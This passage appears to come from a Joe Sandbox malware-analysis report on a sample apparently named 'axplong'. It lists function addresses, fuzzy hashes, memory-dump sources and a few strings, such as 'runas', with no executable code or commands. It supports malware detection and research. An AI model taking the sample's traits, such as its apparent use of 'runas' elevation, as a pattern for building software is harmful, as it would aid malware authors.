Opcode Fuzzy Hash: bfc45d67c83759a801240f9dde03873c0aff34a4ed6393546566be9bc4af3342
Instruction Fuzzy Hash: 7C417C75900309ABDB24EFB5ED459AFBBF9EF88304B10452DF956D3690EB31A914CB20

Function 009D94B0 Relevance: 1.5, Strings: 1, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UD==, xrefs: 009D9585

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: UD==
API String ID: 0-2558787903
Opcode ID: f1fc1122082824f9fe240207a6b94cb2524385915e406d474b583a646b6afa07
Instruction ID: 34f6038b26c15a03a37e6a984f7c44adc082e3df8a9347880f081f15f874bca0
Opcode Fuzzy Hash: f1fc1122082824f9fe240207a6b94cb2524385915e406d474b583a646b6afa07
Instruction Fuzzy Hash: 72918171A001589BDB29DF28CD85BEDB7B6EB85304F5081E9E40DA7292DB359EC4CF90

Function 009D7780 Relevance: 1.4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

runas, xrefs: 009D72D3

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: runas
API String ID: 0-4000483414
Opcode ID: d4ed1be7e77f4fbcd280dbee281ea5a115b099e2c4910f620e023164e01cd715
Instruction ID: 78cea17b3d840d88084c2b1c4b34986c8112636e450d710c7cee3b9c5e4d96ad
Opcode Fuzzy Hash: d4ed1be7e77f4fbcd280dbee281ea5a115b099e2c4910f620e023164e01cd715
Instruction Fuzzy Hash: EB514671A00144ABEB09EFA8DD8679EBB66EF85314F50821DF4119B3C5EB399E40CB91

Function 009E42A0 Relevance: .3, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1549e593c674b8fdf2a313028419f6c68007d21264170cbd17e75510fd6db4e
Instruction ID: c216b522611a40ff7a1c5900ccf8abef7f2bb24fff0db11f83ef996e269ced70
Opcode Fuzzy Hash: a1549e593c674b8fdf2a313028419f6c68007d21264170cbd17e75510fd6db4e
Instruction Fuzzy Hash: 97C10671A102889BEF0ADF69CD8979DBBB5EF85304F508218F81597386DB34DE84CB91

Function 009D82B0 Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b11ed348ab00013ae092a9f091d705062054d90af5713e5d83701dfdd07982d9
Instruction ID: 3f4e401e540dd83666eea9da8cd7c9a9b37ea457656f1fc5ccd4b48e87fb8d36
Opcode Fuzzy Hash: b11ed348ab00013ae092a9f091d705062054d90af5713e5d83701dfdd07982d9
Instruction Fuzzy Hash: F6514970D40209ABDB14EF68CD497EEB775EF45310F50829AE808A73D2EF355E808B91

Function 009DC990 Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5cef5b79951f476c497eb9c50aa1be22f8ad0b1edf19ae7302dd4140c706678
Instruction ID: 681f2f953cd46a4a9382d198a4649f367f90ed230384575265727ab4c585b096
Opcode Fuzzy Hash: e5cef5b79951f476c497eb9c50aa1be22f8ad0b1edf19ae7302dd4140c706678
Instruction Fuzzy Hash: AB51F4B0900258ABDB24DF68CD45BDEBBB5EB85310F1082AAE408A73C1DB755E84CF91

Function 009D7400 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID:
API String ID: 4078500453-0
Opcode ID: 787b68a7d5ab23c596ab0662f25cfd312d5310cfbc57352a1ab113eddb618ae0
Instruction ID: 390350b214506aede490be88fafb884a74acbce2bba8ed785f1bcf16d9cfa029
Opcode Fuzzy Hash: 787b68a7d5ab23c596ab0662f25cfd312d5310cfbc57352a1ab113eddb618ae0
Instruction Fuzzy Hash: 724106719041889BDB09EBE8DD85B9DFB7AEB85310F50851AF401E7385EB349E44CB92

Function 00A06C99 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbbc8ea0be946e34c3b762e009e30f56dc0a7dcc8fb7c6f98163f21141f7532f
Instruction ID: 4e28aa284e509a330ad2db962501c7a3f202024e2ac0c823b484dd7e73ead7a8
Opcode Fuzzy Hash: cbbc8ea0be946e34c3b762e009e30f56dc0a7dcc8fb7c6f98163f21141f7532f
Instruction Fuzzy Hash: 55212272A0160C7AEB117B64BD42B9E37699F4233CF200310F9243B2D0DB70AE1196A2

Function 053D0BDF Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304232962.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53d0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8c295a97821e74d92e00f0241d56d5c60b6a2aef6277dc37178048e30db5d6d
Instruction ID: 085ab6df7e17a217ad7ea3abcead3474ff21cde1361a9826ba4e293f8ce1bd7a
Opcode Fuzzy Hash: d8c295a97821e74d92e00f0241d56d5c60b6a2aef6277dc37178048e30db5d6d
Instruction Fuzzy Hash: 92216BA310C748DFD21AC665BA5D6FAFBBFAA42F30B204015F442CB552F2A486094271

Function 053D0B98 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304232962.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53d0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3141288af2444cbfa5b54d3502b030a9ff675d570c72732219518e48e7f759a
Instruction ID: 8704b9005135068e95f01d90e278f75d6daf865fcfbba060a13349a70fea1013
Opcode Fuzzy Hash: d3141288af2444cbfa5b54d3502b030a9ff675d570c72732219518e48e7f759a
Instruction Fuzzy Hash: 89110AB314C218EE9119D5627A9D5BAFABFB682B30F704429F443CB801F3A5C6465131

Function 053D0BAA Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304232962.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53d0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1319a695af871597eaf57b57d01e9df62d1b0b058c88ff07859494545dac3cf7
Instruction ID: 98abc362c9bc5b585799954fed0d2329159396622b0ad48350e4d88b864afe08
Opcode Fuzzy Hash: 1319a695af871597eaf57b57d01e9df62d1b0b058c88ff07859494545dac3cf7
Instruction Fuzzy Hash: A3110AE350C608AE911DD6A1779D5BAFAFFF692A30F304459F0438F911F6A586054131

Function 053D0BBD Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304232962.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53d0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f0d999066f82d642fafec92daf9df9202280620c900d7978ee788e8631c3a54
Instruction ID: 443c1cc981fc6621b7347ab5df5886afc7279e9a7489145fad92a3849124101b
Opcode Fuzzy Hash: 8f0d999066f82d642fafec92daf9df9202280620c900d7978ee788e8631c3a54
Instruction Fuzzy Hash: 1D11E7A314C218AEE11ED665BA9D5BAFABFBB92B34F204419F442D7812F2A5C6190131

Function 053D0B91 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304232962.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53d0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1837322ad139690064ce9042f8fc1b97ad6aa1e674cbe598567a15a25274d88
Instruction ID: a191a1db74c4820f8a9feb150cd80b562914e26853210f0627ceb34737c515cb
Opcode Fuzzy Hash: f1837322ad139690064ce9042f8fc1b97ad6aa1e674cbe598567a15a25274d88
Instruction Fuzzy Hash: 5A01D6F314C208EE911ED592BB5D5BAFABFB692F30B304429F0439B911F6A586090131

Function 00A06BEB Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab481065cf2f4a7be87a67d21fe0d86809d07d63625a58526eaae587d1271ed6
Instruction ID: f8ffbe4328673f805a6141be99b26ad9cda0077759d24b3d46375d88102dbde4
Opcode Fuzzy Hash: ab481065cf2f4a7be87a67d21fe0d86809d07d63625a58526eaae587d1271ed6
Instruction Fuzzy Hash: 2C11C472D0121CAFEF11AFB4FE057AD7BB4EF00324F14816AE855A61D1DB709A508B91

Function 053D0C4F Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304232962.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53d0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0fff25f235cb121f88ef4122b47be46386e8e3c4c432f22acf44320cf0c379b
Instruction ID: fc633261f2fddc655e1bf6c15157b324738b6fda904c49d93595584faba104a3
Opcode Fuzzy Hash: c0fff25f235cb121f88ef4122b47be46386e8e3c4c432f22acf44320cf0c379b
Instruction Fuzzy Hash: 6501FCB714C208AE9119D6B1775C6FBFBFFBA82E30B308426F0428B811F2A886095130

Function 00A06F71 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6b771d18a1bb9ba4f7db077a64f096098b150f5d183c30e8c015485bc956971
Instruction ID: 14352ad83f8b3c700b37c2eeadbbb59412c84e4f3ab6158caec268a2f4cd0d7b
Opcode Fuzzy Hash: e6b771d18a1bb9ba4f7db077a64f096098b150f5d183c30e8c015485bc956971
Instruction Fuzzy Hash: 2F111CB690020DABCB14EF95E944EDFB7BCAF08314F504266F516E6180EB70EB58CB61

Function 00A065A2 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8704eae6b5011d59315b7ad714f1a88f29879da4eb6bdbab8a4a07ec6e11beac
Instruction ID: a042407609cdc166788b0875b186d090ac9d557296d7286c081a9b96a4dd2897
Opcode Fuzzy Hash: 8704eae6b5011d59315b7ad714f1a88f29879da4eb6bdbab8a4a07ec6e11beac
Instruction Fuzzy Hash: CA11D6B2D0431D9FEF25AFA4FC013AE7BB1AF04B28F140519E011672C1D7B56960DBA2

Function 053D0C35 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3304232962.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53d0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff3e4360ff5249957a8cd3408cd665d45c041d99fd9e101cfe1a21429eb5ae92
Instruction ID: e657e99e4bdee03589af96c4dcceb12458f9868c3d1c86312801c3a7cd43d24b
Opcode Fuzzy Hash: ff3e4360ff5249957a8cd3408cd665d45c041d99fd9e101cfe1a21429eb5ae92
Instruction Fuzzy Hash: 73F0B4B724C204AE9159D6A1B69C5BBB7FABAC2A30B208429F041CB411F3A485055130

Function 009E6AE0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
